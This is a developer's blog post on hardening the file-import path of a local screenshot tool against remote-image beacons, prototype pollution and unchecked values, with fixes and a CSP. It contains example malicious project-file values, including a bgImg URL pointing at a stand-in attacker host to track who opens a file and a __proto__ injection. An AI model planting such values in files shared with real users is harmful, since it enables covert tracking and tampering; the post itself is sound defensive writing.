No backend, no database, no network calls. I still found 3 security holes.
The setup
The tool makes App Store screenshots. The relevant feature: it saves your whole deck - text, images, styling - into a single .json file, so you can pick up where you left off later, or hand it to someone else. That last part turned out to be the whole story.
1. A shared file could phone home
Here's what the loader looked like:
// before
DEVS.forEach(dev => {
const src = sd.img && sd.img[dev];
if (src) {
const im = new Image();
im.src = src;
}
});
When I save a file, every image is written out as data:image/png;base64,.... So when reading one back, it'll be a data URL. Obviously. Except a .json file is just text, and whoever has it can edit it:
{
"style": {
"bgImg": "https://attacker.example/beacon.png?id=abc"
}
}
Open that file and the browser goes and fetches it. The person on the other end gets your IP, your User-Agent, and a timestamp telling them you opened it. Nothing appears on screen. One image silently fails to load. There's nothing to notice.
It's not RCE and it's not data exfiltration. But this tool's entire pitch is "runs locally, nothing is uploaded, no tracking" - and opening one file from someone else quietly breaks that. Less a severity problem, more a "the thing I promised isn't true" problem.
The fix is a scheme allowlist:
const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }
Inline data: images pass. Everything else becomes null. I ran every image path through it - background image, logo overlay, and the per-device screenshots.
Worth grepping your own code for: img.src, fetch, a.href, link.href, CSS url(), iframe.src. Any file-derived string reaching those, and no scheme check? Same hole.
2. Object.assign + JSON.parse = prototype pollution
Same function, one line up:
// before
if (d.style) Object.assign(state.style, d.style);
Looks like a completely ordinary merge. There's a trap in this specific pairing:
JSON.parse('{"__proto__":{...}}')produces an object with__proto__as an own property. The setter is not invoked here.Object.assigncopies using[[Set]]- equivalent to writingtarget.__proto__ = {...}. Now the setter fires.
Result: the target's prototype gets swapped for whatever the attacker supplied. It's not Object.prototype-wide pollution, so the blast radius is limited, but keys I never defined start showing up in in and for...in. Object.assign also doesn't check anything else. titleSize: 999 goes straight through. So does bg1: "red;background:url(...)".
So I dropped the merge and rebuilt each known key by hand:
function sanitizeStyle(r){
if (!r || typeof r !== "object") return;
const s = state.style;
s.bgType = safePick(r.bgType, ["gradient","solid","image"], s.bgType);
s.bg1 = safeHex(r.bg1, s.bg1);
s.titleSize = safeNum(r.titleSize, 0.01, 0.3, s.titleSize);
s.bgImg = safeImgSrc(r.bgImg);
// ...known keys only
}
__proto__ now just falls through as an unknown key. Numbers get clamped, colors get format-checked. Not "reject the dangerous keys" - only pick up the safe ones.
If you're hand-rolling a deep merge, or using structuredClone on parsed input, same question applies. You can also move to Object.create(null) or explicitly strip __proto__, but narrowing to known keys is the version I can read six months from now.
3. I trusted the types
I'd written the types. I just never checked the values at runtime.
// before
if (tt) s.loc[L] = { title: tt.title || "", subtitle: tt.subtitle || "" };
|| "" was supposed to mean "empty becomes an empty string." But if title is 12345, the number sails right through. The render path calls title.trim(), so you get trim is not a function and the app dies on the spot. {} does the same thing. TypeScript wouldn't have saved me here either - JSON.parse returns any, and types don't exist at runtime.
Counts had the same gap. The editor caps you at 10 slides. Through a file, you could hand it 50,000.
// after
state.slides = d.slides.slice(0, 10).map(sd => {
// same cap the editor enforces ...
s.loc[L] = {
title: safeStr(tt.title, 500),
subtitle: safeStr(tt.subtitle, 500)
};
});
Obvious in hindsight: UI validation is a property of the UI, not of your data.
The bonus: a plain bug
Not a vulnerability, just broken:
// before
if (d.device === "iphone" || d.device === "ipad") state.device = d.device;
This tool started with two devices. It now has seven - Android phone, iPhone 6.7โณ, Android tablet, Mac, Play feature graphic. I'd already refactored the export pipeline to iterate a shared DEVS list. This one line never got updated. So: work on the Mac layout, save, reload the file, and you're silently back on iPhone. No error, no warning.
// after
if (DEVS.includes(d.device)) state.device = d.device;
I only caught it because the audit made me list every field coming out of the file and write down what validated it. A security inventory turning up ordinary bugs is pretty common, in my experience.
What was already fine
Auditing isn't only about finding holes - confirming the clean parts is half the value.
- XSS: none. User text hits
innerHTMLin exactly one spot (the slide list chips) and it was already escaped. Text-node position, so escaping& < > "is sufficient. I made the helper non-string-safe and added'while I was there. eval/new Function/ stringsetTimeout: zero.- External resources: zero. No CDN, no analytics, no web fonts - the CJK fonts are bundled.
- CSS injection: unreachable. There are
style.backgroundwrites, but only internal constants flow into them. - ZIP paths: safe. Entry names are
{locale}/{device}_{NN}.png, both from internal constants. No user string in the path, so no../.
Making "no network" provable, not just promised
On top of the fixes, I added a CSP meta tag:
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';
img-src 'self' data: blob:;
font-src 'self';
style-src 'self' 'unsafe-inline';
script-src 'self' 'unsafe-inline';
connect-src 'none';
base-uri 'none';
form-action 'none'">
The important bit is that img-src has no http(s). If a future refactor loses the validation, the browser blocks the outbound fetch anyway. connect-src 'none' closes fetch, XHR and WebSockets. The whole app is one inline script, so 'unsafe-inline' has to stay. I'm fine with that trade - what I care about protecting here is "nothing leaves the machine," not "injected script can't run," and there's no injection vector to begin with.
The side effect is nicer than the fix: "we don't track you" is a claim you have to take my word for. A CSP is something anyone can verify with the Network tab open.
Re-running the same attacks
I don't consider a fix done until the original attack is re-run. So I built one malicious project file with everything in it and threw it at the app:
| Attack | Before | After |
|---|---|---|
bgImg set to a remote URL |
fetched it | null, zero requests |
__proto__ injected |
prototype swapped | dropped as unknown key |
titleSize: 999 |
applied as-is | clamped to 0.3 |
| tags in a font name | accepted | default kept |
| 50 slides | all 50 built | capped at 10 |
| numeric title | threw on .trim() |
coerced to "" |
| save on Mac, reload | reverted to iPhone | stays on Mac |
Network tab: zero requests. Console: no errors. And the part that's easy to skip - I checked that a legitimate file still works. All six screenshots, styling, device and Japanese text survived the round trip, and export still hits spec (1284ร2778, PNG color type 2, no alpha). Hardening that breaks the feature isn't hardening.
The takeaway
I had the threat model backwards. I kept thinking about the network, because that's where input usually comes from. But this app's trust boundary was the file. The moment your app can open something a user obtained elsewhere, that's external input. .json, .csv, config files, export/import, "restore from backup." The trap is the sentence "my app wrote this file, so I know what's in it." You wrote it. Someone else is handing it back.
If you want the three-line version:
- Find every place a file-derived string becomes a URL. Allowlist the scheme.
- Don't
Object.assignparsed JSON onto real state. Rebuild known keys. - Whatever the UI enforces - types, lengths, counts - enforce it again on the file path.
One more thing, since a lot of us are shipping AI-written code now: models write the save and the load together, and the loader ends up assuming the saver's output. It'll cheerfully trust its own format. That's not something the model flags - you have to.
The tool is on GitHub (MIT) if you want to look at the actual diff.
Has anyone found something interesting in their own import path? I'm curious whether the Object.assign one is as common as I suspect.
Comments
No comments yet. Start the discussion.